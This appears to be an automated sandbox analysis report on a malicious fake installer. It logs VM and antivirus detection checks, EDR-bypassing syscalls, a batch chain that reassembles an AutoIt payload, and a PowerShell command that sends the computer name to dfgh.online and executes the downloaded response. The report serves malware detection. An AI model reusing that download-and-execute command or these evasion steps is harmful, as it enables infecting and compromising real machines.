Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BB37C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB3F3E1 second address: 6BB3F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB3F3FD second address: 6BB3F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F77F8F84B25h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F77F8F84BB0h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7760			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2003			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com TID: 1136	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7056	Thread sleep count: 7760 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7056	Thread sleep count: 2003 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7020	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2499326491.0000000000C14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000011.00000002.1979771855.0000000007475000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FMSFT_NetEventVmNetworkAdatper.cdxml
Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000002.2047864578.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000011.00000002.1979771855.0000000007475000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000011.00000002.1979771855.0000000007499000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 739749	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Buys	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "encourage" Legend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 739749\Peas.com + Principles + Delight + Leader + Shareholders + Scientific + Optimal + Accessing + Examine + Appearance + Specialist 739749\Peas.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Nt + ..\Sydney + ..\Nominations + ..\Colour + ..\Friend + ..\Compatible + ..\South + ..\Advice x	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com Peas.com x	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; 1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; 1			Jump to behavior

Source: Peas.com, 0000000C.00000000.1702937176.0000000000333000.00000002.00000001.01000000.00000006.sdmp, Peas.com.1.dr, Appearance.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
